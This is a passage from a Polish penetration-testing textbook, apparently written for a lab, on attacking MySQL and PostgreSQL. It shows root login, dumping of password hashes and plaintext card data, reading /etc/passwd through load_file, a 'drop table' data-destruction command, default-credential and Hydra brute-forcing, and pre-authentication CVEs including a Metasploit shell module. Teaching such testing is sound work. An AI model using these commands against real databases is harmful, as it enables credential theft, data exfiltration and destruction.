nieudanych próbach podania hasła, a to pozwala na przeprowadzanie siłowych ataków zgadywania
hasła. Nigdy nie wiadomo, czy dane konto ma włączoną blokadę i czy będzie podawać komunikaty
o błędach, dlatego pracując dla klienta, lepiej ostrożnie podchodzić do tych rozwiązań. Ale ostrożność
jest zalecana przy każdym rodzaju ataku siłowego. Jeżeli bierzesz na cel bazę danych, która jest
częścią środowiska produkcyjnego Twojego klienta, i (celowo lub przez przypadek) zablokujesz
w niej ważne konto, to może to być traktowane jak atak odmowy świadczenia usług, dlatego należy
starać się nie doprowadzać do takich sytuacji. (W takich okolicznościach konieczne będą też prze-
prosiny. A jeżeli Twój klient dokładnie śledzi wszystko, co dzieje się w jego sieci wewnętrznej, to
może się z Tobą kontaktować, jeszcze zanim zdołasz przygotować treść przeprosin!)
Pamiętaj, że przeprowadzanie ataków siłowych wiąże się z ryzykiem zablokowania atakowanego
konta, dlatego takie metody należy stosować rzadko i tylko w sytuacji, gdy błędy będą miały ogra-
niczone skutki. Siłowy atak na konto użytkownika root bazy danych MySQL niemal nigdy nie koń-
czy się zablokowaniem konta. Jeżeli jednak do tego dojdzie, to baza danych natychmiast Cię o tym
poinformuje, co bardzo ułatwia hakerom wykrycie takiego stanu.
Aby zalogować się na konto użytkownika root w bazie danych MySQL działającej w laboratorium
tej książki, użyj hasła sneaky. Po zalogowaniu zobaczysz komunikat podobny do poniższego, pod
którym widoczny będzie znak zachęty mysql>:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 47
Server version: 5.0.51a-24+lenny2 (Debian)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Wprowadzając instrukcję SQL, upewnij się, że na jej końcu umieścisz znak średnika (;). Nie
jest to cecha szczególna używanego przez Ciebie klienta MySQL, ale normalny znak informujący
interpreter poleceń SQL, że w tym miejscu kończy się dana instrukcja. To jedna z podstawowych cech
języka SQL. Ten sam znak używany jest też jako zakończenie instrukcji w językach programowania
takich jak C lub Pascal. Jeżeli zdarzy Ci się zapomnieć wpisać znaku kończącego instrukcję (na
pewno Ci się to przytrafi), to zobaczysz, że klient przeniesie kursor do nowego wiersza i pozwoli
na dalsze wprowadzanie instrukcji. W takiej sytuacji wystarczy wpisać w pustym wierszu znak śred-
nika i nacisnąć klawisz Enter. Z czasem przyzwyczaisz się do takiego zapisywania instrukcji.
Po zalogowaniu się do bazy danych MySQL przekonasz się, że na tym serwerze istnieje kilka róż-
nych baz danych, a zatem konieczne będzie wybranie bazy, z którą chcesz pracować. Na początek
wpisz polecenie show databases;, pamiętając o zakończeniu wiersza znakiem średnika (;).
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| merchant |

3681988c430c7fe1e8567c4e2f281f7b
3
MySQL 371

| mysql |
+--------------------+
3 rows in set (0.00 sec)

W powyższym wydruku widać nazwy trzech baz danych. Dwie z nich są bazami systemowymi
tworzonymi przez sam serwer MySQL. Czasami po uzyskaniu dostępu do instancji serwera MySQL
nie będziemy znali wewnętrznej struktury danej bazy danych. W takiej sytuacji, przy ograniczonym
dostępie do danych, trzeba spróbować najpierw poznać samą strukturę bazy danych. W pierwszym
kroku należy odczytać informacje z systemowych baz danych, a w szczególności z bazy informa-
tion_schema, która przechowuje omawiane już wcześniej schematy baz danych. Po uzyskaniu nazw
tabel oraz liczby kolumn w każdej z nich można przystąpić do odczytywania ważnych i potencjalnie
wrażliwych informacji.
Użyj polecenia use mysql, aby wybrać bazę danych mysql i zacząć interakcję z nią. Na ekranie
zobaczysz krótki komunikat, taki jak poniżej:
Database changed

Za pomocą polecenia show tables można wypisać listę tabel istniejących w aktualnie wybranej
bazie danych. W efekcie zobaczysz listę podobną do poniższej:
mysql> show tables;
+---------------------------+
| Tables_in_mysql |
+---------------------------+
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------+
23 rows in set (0.00 sec)

Podobne tabele znajdują się w każdej bazie danych mysql. Zapisane są w nich wszystkie globalne
informacje dotyczące danej instancji serwera MySQL. Z kolei w bazie danych information_schema
zapisane są informacje na temat pozostałych baz danych obsługiwanych przez ten serwer — nazwy
ich tabel, kolumn oraz inne metadane. Aby uzyskać aktualne informacje na temat systemowych

3681988c430c7fe1e8567c4e2f281f7b
3
372 Rozdział 11  Bazy danych

baz danych serwera MySQL (różnych jego wersji), należy przejrzeć stronę podręcznika dostępną
pod adresem dev.mysql.com/doc. Za pomocą polecenia use information_schema możesz wybrać
bazę danych information_schema, a następnie możesz użyć polecenia show tables, aby wypisać
listę tabel z tej bazy. Poniżej podajemy wydruk listy tabel w bazie information_schema:
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
17 rows in set (0.00 sec)

Jeżeli nie masz dostępu do tej bazy danych z uprawnieniami konta użytkownika root i nie znasz
jej wewnętrznej struktury — na przykład nazw tabel — to wysyłając zapytania do bazy informa-
tion_schema, możesz uzyskać potrzebne informacje. Na przykład nazwy wszystkich tabel istnieją-
cych w danej instancji serwera MySQL można wyświetlić za pomocą polecenia select TABLE_NAME
from TABLES;. Spowoduje ono wyświetlenie nazw wszystkich tabel istniejących w bazach danych
information_schema, merchant i mysql, tak jak poniżej:
mysql> select TABLE_NAME from TABLES;
+---------------------------------------+
| TABLE_NAME |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |

3681988c430c7fe1e8567c4e2f281f7b
3
MySQL 373

| VIEWS |
| connection |
| orders |
| payment |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------------------+
43 rows in set (0.00 sec)

Tabele o nazwach składających się z wielkich liter należą do bazy danych information_schema,
natomiast wszystkie tabele od columns_priv aż do user są częścią omawianej wcześniej bazy danych
mysql. Oznacza to, że pozostałe tabele muszą należeć do bazy danych merchant, która jest bazą
zdefiniowaną przez użytkownika i w związku z tym może przechowywać interesujące i być może
wrażliwe informacje.
Użyj polecenia use, aby wybrać bazę danych merchant, a następnie skorzystaj z polecenia show,
aby wypisać listę tabel tej bazy. Na ekranie powinna pojawić się poniższa lista:
mysql> show tables;
+--------------------+
| Tables_in_merchant |
+--------------------+
| connection |
| orders |
| payment |
+--------------------+
3 rows in set (0.00 sec)

To przykład struktury, jaką można zobaczyć w bazach danych firm przyjmujących płatności
online. Możesz tutaj użyć polecenia describe, aby poznać strukturę wybranej tabeli. Na przykład
polecenie describe connection; wyświetli informacje takie jak przedstawione poniżej:
mysql> describe connection;
+------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+----------------+

3681988c430c7fe1e8567c4e2f281f7b
3
374 Rozdział 11  Bazy danych

| id | mediumint(9) | NO | PRI | NULL | auto_increment |

| type | varchar(30) | NO | | NULL | |
| connection | varchar(255) | NO | | NULL | |
| username | varchar(255) | NO | | NULL | |
| password | varchar(255) | NO | | NULL | |
+------------+--------------+------+-----+---------+----------------+
5 rows in set (0.00 sec)

Jak widać, w tej tabeli zdefiniowano pięć pól, których nazwy są wypisane w kolumnie Field.
Podawany jest tutaj również typ danych każdej kolumny (w kolumnie Type) oraz jej maksymalny
rozmiar. Na przykład pole id ma typ mediumint o maksymalnej wielkości 9. Typy int, mediumint
oraz longlint są typami liczb całkowitych (czyli bez ułamków) o różnych wartościach minimal-
nych i maksymalnych. Typ int jest najpowszechniejszym typem danych, podobnie jak i typ var-
char, który oznacza ciąg znaków o zmiennej długości. Wielkość takiego ciągu w pamięci i na dysku
nie jest stała, ale może się zmieniać, dzięki czemu jest to typ umożliwiający wydajne przechowywa-
nie tekstu. W kolumnie Null podawana jest informacja, czy dane pole pozwala na stosowanie war-
tości null (brak jakichkolwiek danych). Jeżeli pojawia się tu wartość NO, to znaczy, że w tym polu
zawsze znajdują się jakieś dane. W kolumnie Key podawane jest, czy któreś z pól zostało wyzna-
czone na klucz. Wartość PRI oznacza klucz główny tabeli. W tym przypadku kluczem głównym
tabeli jest pole id. Klucz główny musi mieć niepowtarzalną wartość dla każdego rekordu w danej
tabeli, dlatego często jest wartością automatycznie inkrementowaną (tak jest w naszym przykła-
dzie), co potwierdza wartość auto_increment widoczna w kolumnie Extra. W kolumnie Default
można zobaczyć, jakie wartości będą domyślnie przypisywane do poszczególnych pól nowo two-
rzonych rekordów. W tym przypadku przy każdym polu widoczna jest wartość NULL, co w połącze-
niu z wartością NO w kolumnie Null oznacza, że w nowych rekordach podane muszą być wartości
wszystkich pól. Nie można niczego pominąć.
Do przejrzenia wartości wszystkich rekordów z tabeli connection możesz zastosować poniższe
polecenie. Zauważ, że słów kluczowych SQL nie trzeba zapisywać wielkimi znakami, natomiast
znak gwiazdki (*) w języku SQL jest znakiem wieloznacznym. Oznacza on wszystkie możliwe
wartości.
SELECT * FROM conncection;

mysql> select * from connection;

+----+-------+------------+----------+----------+
| id | type | connection | username | password |
+----+-------+------------+----------+----------+
| 1 | redis | 127.0.0.1 | none | redis |
+----+-------+------------+----------+----------+
1 row in set (0.00 sec)

W tej tabeli podawane są informacje na temat dostępu do innej bazy danych istniejącej na tym
samym serwerze. Takie rozwiązania można też często zaobserwować w różnych systemach w in-
ternecie. W bazach danych przechowywane są informacje o konfiguracji i ustawieniach aplikacji,
a wśród tych danych mogą znajdować się też dane uwierzytelniające. Redis to inny rodzaj bazy da-
nych, którym będziemy się zajmować w dalszej części tego rozdziału. Zauważ, że w polu username
znalazła się wartość none, która nie jest tożsama z wartością null. Przyjrzyjmy się teraz tabeli orders:

3681988c430c7fe1e8567c4e2f281f7b
3
MySQL 375

mysql> describe orders;

+-------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| productcode | varchar(10) | NO | | NULL | |
+-------------+--------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

Wnioskując z opisu tej tabeli, raczej nie będzie ona zawierała wielu istotnych informacji.
Spójrzmy zatem na tabelę payments. Poniżej przedstawiamy listę jej kolumn:
mysql> describe payment;
+------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| firstname | varchar(40) | NO | | NULL | |
| lastname | varchar(40) | NO | | NULL | |
| address | varchar(512) | NO | | NULL | |
| cardtype | varchar(40) | NO | | NULL | |
| cardnumber | varchar(20) | NO | | NULL | |
| expiry | varchar(4) | NO | | NULL | |
+------------+--------------+------+-----+---------+----------------+
7 rows in set (0.00 sec)

Przyjrzyj się zawartości tej tabeli, a przekonasz się, że pojawiają się w niej wrażliwe informacje,
takie jak nazwiska, adresy oraz numery kart kredytowych. Jeżeli pracując dla klienta, uda Ci się
uzyskać zdalny dostęp do takiej tabeli bez podawania danych uwierzytelniających, to znaczy, że
klient będzie musiał rozwiązać bardzo poważny problem.
W tym przykładzie numery kart kredytowych zostały zapisane jawnym tekstem, co jest niezwy-
kle niebezpiecznym niedopatrzeniem ze strony właściciela systemu. Jeżeli natkniesz się na taką sy-
tuację w trakcie swojej pracy, natychmiast poinformuj o tym klienta, któremu z pewnością będą
groziły kary finansowe za złamanie zasad bezpieczeństwa. Oprócz tego mogą mu też grozić sankcje
karne. Mimo to bardzo ważne jest szybkie poinformowanie klienta o wykrytej sytuacji i współpra-
cowanie z nim w celu usunięcia zagrożenia. Natychmiastowe informowanie urzędów ochrony da-
nych lub innych nie jest tutaj Twoim zadaniem. Zależnie od treści umowy podpisanej z klientem
Twoim głównym zobowiązaniem powinno być informowanie właściciela systemu i współpraca z nim
w celu ochrony wrażliwych danych. Tego rodzaju sytuacje muszą być traktowane z wyjątkową ostroż-
nością. Właściciel systemu zleca nam wykonanie oceny bezpieczeństwa, będąc zapewne nieświado-
mym tego, że wrażliwe informacje są przechowywane w mało bezpieczny sposób. W związku z tym
musisz współpracować z klientem, aby rozwiązać wykryty problem. Próby kontaktowania się z oso-
bami, których dane znajdują się w bazie, i informowanie ich o wycieku informacji albo publiczne
prezentowanie problemów swojego klienta uznawane jest za działanie wysoce nieetyczne.
Mamy nadzieję, że nigdy nie znajdziesz się w takiej sytuacji w trakcie swojej normalnej pracy.
Niestety takie rzeczy się zdarzają i z pewnością będą się zdarzały również w przyszłości! Jeżeli na-
tkniesz się na taką tablicę bazy danych, do której uzyskasz dostęp w ramach testów penetracyjnych
prowadzonych dla swojego klienta, to Twoją podstawową powinnością jest szybkie poinformowa-
nie firmy o swoim znalezisku. To powinno być działanie priorytetowe i należy się nim zająć jak
najszybciej, podobnie jak i innymi sprawami dotyczącymi poważnych luk w zabezpieczeniach.

3681988c430c7fe1e8567c4e2f281f7b
3
376 Rozdział 11  Bazy danych

Złośliwy haker może sprzedać uzyskane w ten sposób informacje na czarnym rynku albo wy-
korzystać je do przeprowadzenia jakiegoś oszustwa. Z całą pewnością pobierze dla siebie kopię tych
danych, a może i usunie oryginał z bazy, pozostawiając za sobą notatkę z żądaniem okupu. Usunięcie
danych można przeprowadzić za pomocą prostego polecenia drop table payments;. Wypróbuj je
i sprawdź, jak wpłynie na bazę danych. Później możesz użyć polecenia Zresetuj z menu Maszyna
programu VirtualBox, aby zresetować maszynę wirtualną, w której działa laboratorium tej książki.
Dzięki temu, że laboratorium zostało przygotowane w postaci obrazu płyty CD, można je przywró-
cić do pierwotnego stanu, dzięki czemu dane usunięte z bazy znajdą się w niej z powrotem.
Gdy używasz polecenia show tables w kliencie MySQL, ten tak naprawdę odwołuje się do tabeli
information_schema, aby z niej odczytać listę tabel należących do wybranej bazy danych. Polecenie
show tables nie jest poleceniem języka SQL, ale zostało wbudowane w program klienta. Niestety
nie da się wstrzyknąć polecenia show tables do kodu niezabezpieczonej strony WWW, aby wy-
świetliła ona listę tabel. Takie polecenia działają wyłącznie w samym kliencie MySQL i nie są typo-
wymi poleceniami SQL. Sam klient przekłada je na odpowiednie zapytania SQL przesyłane do bazy
danych. Te polecenia są zatem tylko skróconymi mnemonikami, które mają ułatwiać pracę prawo-
witym administratorom baz danych. W dalszej części tego rozdziału dowiesz się jednak, że istnieją
inne metody, za pomocą których nieprawowity administrator (lub haker) może odczytać listę tabel,
używając jedynie poleceń SQL. Gdy już poznasz tę metodę, to zauważysz, że jest ona równie prosta
jak skrócone polecenie.
Jak już wspomnieliśmy wcześniej, MySQL ma własną strukturę użytkowników, w tym i użyt-
kownika root. Aby uzyskać listę tych użytkowników razem ze skrótami ich haseł, możesz wykorzystać
polecenie select User,Password from mysql.user;. To polecenie na pewno zadziała z serwerem
MySQL z laboratorium naszej książki, a na ekranie zobaczysz informacje podobne do poniższych:
mysql> select User,Password from mysql.user;
+------------------+-------------------------------------------+
| User | Password |
+------------------+-------------------------------------------+
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| debian-sys-maint | *02B9399FC6A06E4D09A609700C0B259750F352BA |
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
+------------------+-------------------------------------------+
5 rows in set (0.01 sec)

W powyższym przykładowym zapytaniu użyliśmy zapisu mysql.user, aby odwołać się do tabeli
user będącej częścią bazy danych mysql bez przełączania się na tę bazę. Jeżeli znajdziesz sposób na
uruchomienie tego polecenia bezpośrednio w aplikacji WWW albo wykorzystując jeden z formu-
larzy aplikacji, to znaczy, że Twój klient ma poważny problem, a Ty możesz rozpocząć proces
łamania uzyskanych właśnie skrótów haseł.
Serwer MySQL ma wbudowane funkcje, które mogą służyć do uzyskiwania przydatnych infor-
macji na temat samej bazy danych. Na przykład polecenie SELECT @@VERSION; zwraca informacje
o numerze wersji serwera:
mysql> SELECT @@VERSION ;
+-------------------+
| @@VERSION |
+-------------------+

3681988c430c7fe1e8567c4e2f281f7b
3
MySQL 377

| 5.0.51a-24+lenny2 |
+-------------------+
1 row in set (0.01 sec)

Uruchomienie polecenia SQL zawierającego zmienną @@VERSION jest świetną metodą uzyskiwa-
nia numeru wersji serwera MySQL w przypadku, gdy nie mamy bezpośredniego dostępu do jego
portów. Zmienna @@VERSION nie jest częścią oprogramowania klienta MySQL, ale należy do imple-
mentacji języka MySQL SQL. Oznacza to, że na pewno pozwoli nam odczytać numer wersji ser-
wera, jeżeli tylko będziemy w stanie uzyskać do niego dostęp.
Kolejną funkcją wbudowaną w język MySQL SQL jest load_file. Za jej pomocą można próbo-
wać uzyskać dostęp do różnych plików. W ramach przykładu wykorzystamy tę funkcję do odczy-
tania pliku /etc/passwd znajdującego się w systemie operacyjnym hosta.
Na początek należy utworzyć tabelę w bazie danych merchant i nadać jej nazwę passwd.
Tabela powinna zawierać jedno pole (w tym przykładzie również otrzyma ono nazwę passwd)
typu text. Sama nazwa tablicy i tworzących ją kolumn nie mają wielkiego znaczenia: CREATE TABLE
merchant.passwd (passwd text);. Jeżeli odczytasz teraz informacje o strukturze tej tabeli, to zoba-
czysz poniższe informacje:
+--------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+------+------+-----+---------+-------+
| passwd | text | YES | | NULL | |
+--------+------+------+-----+---------+-------+
1 row in set (0.00 sec)

Następnie wstaw do tabeli nowy rekord, którego jedyną wartością będzie zawartość pliku
/etc/passwd załadowana za pomocą funkcji load_file.
INSERT INTO merchant. passwd VALUES (load_file('/etc/passwd'));

Teraz możesz uruchomić polecenie SELECT * dla tej tabeli, aby przejrzeć jej zawartość. W efekcie
zobaczysz na ekranie tekst z pliku passwd tego hosta. A może spróbować tej samej sztuczki z pli-
kiem /etc/shadow? Tutaj niestety to nie zadziała. Czy wiesz dlaczego? Po prostu serwer MySQL jest
oprogramowaniem, które zwykle nie pracuje z pełnymi uprawnieniami użytkownika root, ale jest
uruchamiane z niższym poziomem uprawnień jednego z pozostałych użytkowników hosta. Ozna-
cza to, że serwer nie może wykonać tych operacji, które przysługują wyłącznie użytkownikowi root.
To właśnie przypadek, gdy nawet po zalogowaniu się do serwera MySQL jako użytkownik root
musisz pamiętać o tym, że nie jest to użytkownik systemu operacyjnego. Zagmatwane? To jeden ze
szczegółów, o którym zawsze trzeba pamiętać. Zapamiętaj, że systemy baz danych mają własne
modele użytkowników i ich uprawnień, które są niezależne od dość ograniczonego modelu upraw-
nień z systemu operacyjnego.
Zaprezentowana funkcja odczytująca pliki może być bardzo niebezpieczna dla Twojego klienta,
jeżeli zostanie włączona w serwerze i udostępniona do użytkowania. Jeżeli uzyskasz taką możli-
wość, to spróbuj odczytać ważne pliki, takie jak /etc/passwd lub /etc/shadow, aby sprawdzić, czy uda
się uzyskać nazwy użytkowników systemu oraz skróty ich haseł. Oczywiście nie powinna istnieć
możliwość wyświetlenia zawartości tych plików, ale w źle skonfigurowanych systemach może się
to udać. Istnieje też możliwość zapisywania plików w systemie operacyjnym za pomocą instrukcji
SQL. To z kolei może dać nam dostęp do samego hosta i umożliwiać podniesienie swoich upraw-
nień za pomocą przedstawionych wcześniej metod.

3681988c430c7fe1e8567c4e2f281f7b
3
378 Rozdział 11  Bazy danych

Mimo że udało się nam zalogować do serwera MySQL jako serwerowy użytkownik root, to sama
instancja serwera nie działa z uprawnieniami systemowego użytkownika root. To właśnie dlatego
nie udało się odczytać zawartości pliku /etc/shadow. Z tego powodu żadna instancja serwera MySQL
nie powinna być uruchamiana przez systemowego użytkownika root. Zwykle serwer jest urucha-
miany przez specjalnego użytkownika mysql albo przez użytkownika nobody.

Uwierzytelnianie w serwerze MySQL

Jeżeli natkniesz się na serwer MySQL działający na jednym z hostów, ale nie uda Ci się uzyskać do niego
dostępu, możesz sprawdzić, czy dla tego serwera znane są jakieś podatności. W niektórych wersjach tego
oprogramowania istniała możliwość całkowitego pominięcia procesu uwierzytelniania użytkowników.
Uzyskanie pewnej formy dostępu do bazy danych powinno być naszym pierwszym celem, ale
wcale nie musimy do tego używać poprawnej kombinacji nazwy użytkownika oraz hasła. Znamy
już kilka historycznych metod pomijania uwierzytelniania w serwerach MySQL, które pozwalały na
zignorowanie istniejących mechanizmów uwierzytelniania. Jako przykład weźmy błąd CVE-2012-2122,
który został wykryty w serwerach Oracle MySQL oraz MariaDB (który również bazuje na MySQL)
z numerami wersji od 5.1.x do 5.6.6. Serwer umożliwia użytkownikowi przeprowadzenie 256 prób
zalogowania się (przy podaniu poprawnej nazwy użytkownika i niepoprawnego hasła). Przy 256.
próbie użytkownik zostanie zalogowany niezależnie od podanego hasła. Ten błąd pojawiał się tylko
wtedy, gdy serwer został skompilowany w odpowiedni sposób, ponieważ podatność była wynikiem
optymalizacji wprowadzanych przez kompilator. Okazało się, że kompilator „poprawiał” kod przy-
gotowany przez programistę, a w efekcie tworzył możliwość obejścia mechanizmu uwierzytelniania.
Inny przykład: CVE-2004-0627 jest podatnością na hasło zerowe, która dotyczyła wersji serwera
MySQL od 4.1 do 5.0. Ten problem został wykryty przez firmę NGS Security. Umożliwia on ata-
kującemu wyposażonemu w specjalnie dostosowanego klienta MySQL podanie pustego (czyli ze-
rowego) hasła. Takie hasło miało nieoczekiwany efekt, ponieważ powodowało pominięcie procedury
sprawdzania hasła i dawało użytkownikowi zdalny dostęp do bazy danych. Ta poważna podatność
była wtedy bardzo powszechnie wykorzystywana, ponieważ pozwalała każdemu uzyskać dostęp do
baz danych MySQL bez podawania hasła.
CVE-20090-4484 to podatność dotycząca serwera MySQL, która została wykryta w wersji
5.0.51a. Specjalny exploit wykorzystujący ten błąd przygotował Joshua Drake, prawdziwa legenda
w świecie hakerów i autor kilku świetnych exploitów zdalnie atakujących różne serwery. Jednym
ze sposobów skorzystania z omawianego tu exploitu jest użycie modułu mysql_yassl_getname
we frameworku Metasploit, który bierze na cel kombinację serwera MySQL oraz systemu opera-
cyjnego Debian Lenny. Ten exploit zadziała tylko w określonych okolicznościach, ale nie będzie
wymagał podania danych uwierzytelniających do bazy. Należy on do grupy exploitów nazywanych
exploitami przed uwierzytelnianiem (ang. pre-authentication exploit), które są narzędziami bardzo
poszukiwanymi przez hakerów. Po uruchomieniu exploit daje nam dostęp do powłoki w systemie
operacyjnym hosta. Sama podatność istnieje w bibliotece yaSSL, która jest otwartą implementacją
protokołu SSL/TLS (podobną do OpenSSL) i była używana z niektórymi wersjami serwera MySQL.
Serwer wykorzystuje protokół SSL/TLS do szyfrowania połączeń z klientami, podobnie jak robi to
wiele innych serwisów przesyłających i odbierających dane. W niektórych wersjach biblioteki yaSSL
istniała możliwość wymuszenia przepełnienia bufora, która pozwalała na wykonanie dowolnego
kodu. Więcej informacji na temat tego exploitu znajdziesz na stronach informacyjnych modułu
we frameworku Metasploit.

3681988c430c7fe1e8567c4e2f281f7b
3
PostgreSQL 379

PostgreSQL
PostgreSQL jest systemem relacyjnych baz danych o otwartych źródłach, który domyślnie działa
na portach TCP 5432 i 5433. Co ciekawe, framework Metasploit używa go do przechowywania
danych. Prawdopodobnie każdy używał już serwera PostgreSQL, nie zdając sobie z tego sprawy.
Na przykład taki serwer powinien działać już w Twojej maszynie wirtualnej Kali Linux. Serwer
PostgreSQL jest bardzo podobny do MySQL, a jednocześnie różni się od niego na tyle, że osoby
nieprzyzwyczajone do niego zaczynają się denerwować. PostgreSQL również pozwala użytkowni-
kom na odczytywanie i zapisywanie plików z systemu operacyjnego hosta, ale wymaga to użycia
funkcji definiowanych przez użytkownika.
W serwerze PostgreSQL nie istnieje konto użytkownika root i nie są definiowane konta do-
myślne. Zazwyczaj serwer działa jako użytkownik psql lub postgres. Takie konta czasami korzystają
z domyślnego hasła, jakim może być psql lub postgres! Ze względu na to, że serwer PostgreSQL nie
definiuje żadnych domyślnych kont, wiele osób tworzy wstępnie takie proste konta z zamiarem
późniejszej zmiany ich danych, o czym następnie zapominają. Zdarza się to tak często, że we fra-
meworku Metasploit istnieje specjalny moduł wykorzystujący takie domyślne ustawienia połączeń.
W wykonanym wcześniej skanie portów widzieliśmy poniższe informacje na temat wykrytego
serwera PostgreSQL:
5433/tcp open postgresql PostgreSQL DB 9.1.2 - 9.1.3

Możesz połączyć się z tym portem za pomocą programu Netcat, aby odczytać wiadomość
powitalną. Poza tym, tak samo jak zrobiliśmy to w przypadku serwera MySQL, możesz sko-
rzystać z klienta PostgreSQL o nazwie Psql (można go zainstalować poleceniem apt install
postgresql-client-common). Po zainstalowaniu klienta możesz połączyć się z serwisem Post-
greSQL, używając poniższego polecenia:
psql -h <AdresIP> -p <Port> -U <NazwaUżytkownika>

Już wcześniej podaliśmy dwie możliwe kombinacje nazw użytkownika i hasła, które możesz
wypróbować w celu uzyskania dostępu do serwisu. Możesz też wykorzystać narzędzie do siłowego
zgadywania haseł, takie jak Hydra, ponieważ blokady kont są zwykle definiowane ręcznie przez
użytkowników, a to oznacza, że najprawdopodobniej takiej blokady nie ma. Zakładamy, że udało
Ci się poprawnie odgadnąć hasło do przynajmniej jednego konta, a zatem na ekranie zobaczysz
komunikat podobny do poniższego:
Password for user postgres:
psql (11.3 (Debian 11.3-1), server 9.1.2)
Type "help" for help.

postgres=#

Bazy danych PostgreSQL są często nieprawidłowo skonfigurowane i działają z łatwymi do od-

gadnięcia nazwami użytkowników i hasłami. Chcieliśmy podkreślić ten rodzaj błędu konfiguracji
w naszym podatnym serwerze. Niejednokrotnie znajdowaliśmy też dane uwierzytelniające serwera
PostgreSQL w plikach, które zostały niechcący ujawnione w internecie.
Mimo że serwer PostgreSQL obsługuje zapytania w języku SQL, to jednak jego klient stosuje
własny zbiór poleceń, które są zdecydowanie nieintuicyjne. Tam, gdzie klient MySQL używa
mnemoników poleceń, takich jak use i show tables, klient Psql wykorzystuje kombinacje lewych

3681988c430c7fe1e8567c4e2f281f7b
3
380 Rozdział 11  Bazy danych

ukośników i pojedynczych liter, które zastępują różne polecenia. Listę takich poleceń można przej-
rzeć przy użyciu polecenia pomocy —\?. Poniżej przedstawiamy kilka często używanych poleceń
tego typu. Na przykład polecenie \1 wypisuje listę dostępnych baz danych.
postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+-----------+---------+-------+-----------------------
merchant | postgres | SQL_ASCII | C | C |
postgres | postgres | SQL_ASCII | C | C |
template0 | postgres | SQL_ASCII | C | C | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | SQL_ASCII | C | C | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)

Polecenie \c umożliwia połączenie z wybraną bazą danych. Na przykład polecenie \c merchant

połączy Cię z bazą danych merchant oraz wypisze poniższe informacje. Zauważ, że znak zachęty
zmienia się i zawiera teraz nazwę aktualnej bazy danych.
postgres=# \c merchant
psql (11.3 (Debian 11.3-1), server 9.1.2)
You are now connected to database "merchant" as user "postgres".
merchant=#

Po połączeniu się z bazą danych można użyć polecenia \d, aby wypisać listę tabel (lub relacji)
istniejących w tej bazie.
merchant=# \d
List of relations
Schema | Name | Type | Owner
--------+----------------+----------+----------
public | payment | table | postgres
public | payment_id_seq | sequence | postgres
(2 rows)

Teraz można użyć polecenia \d payment, aby wypisać informacje o tabeli payment. Pamiętaj,
że w ten sposób uzyskasz tylko informacje o schemacie tabeli, ale nie zobaczysz zapisanych w niej
danych. Tabela payment z bazy danych merchant ma inną strukturę niż ta, którą widzieliśmy
w serwerze MySQL. Po prostu jest to inna baza danych zdefiniowana na innej instancji serwera.
Aby wysłać zapytanie do bazy danych i odczytać zawartość tabeli payment, możesz użyć polecenia
SQL, tak jak robiliśmy to wcześniej.
merchant=# select * from payment;

id | firstname | lastname | address | cardtype | cardnumber | expiry

----+-----------+----------+--------------------------+----------+------------------+--------
1 | Tyler | Durden | 1337 Paper St. | VISA | 4104768744176826 | 0119
2 | Skeletor | Heman | Evil Villain | VISA | 4501356680452382 | 0119
3 | Bruce | Wayne | Batcave, HQ, Gotham City | VISA | 4652356038230743 | 0119
4 | Ted | Bill | Excellent Adventure | VISA | 4638815478682704 | 0119
5 | Dade | Murphy | ZeroCool Labs | VISA | 4415830173618407 | 0119
(5 rows)

3681988c430c7fe1e8567c4e2f281f7b
3
Ucieczka z serwera baz danych 381

W tej tabeli znajduje się sporo informacji osobistych. Takie odkrycie powinno zostać natych-
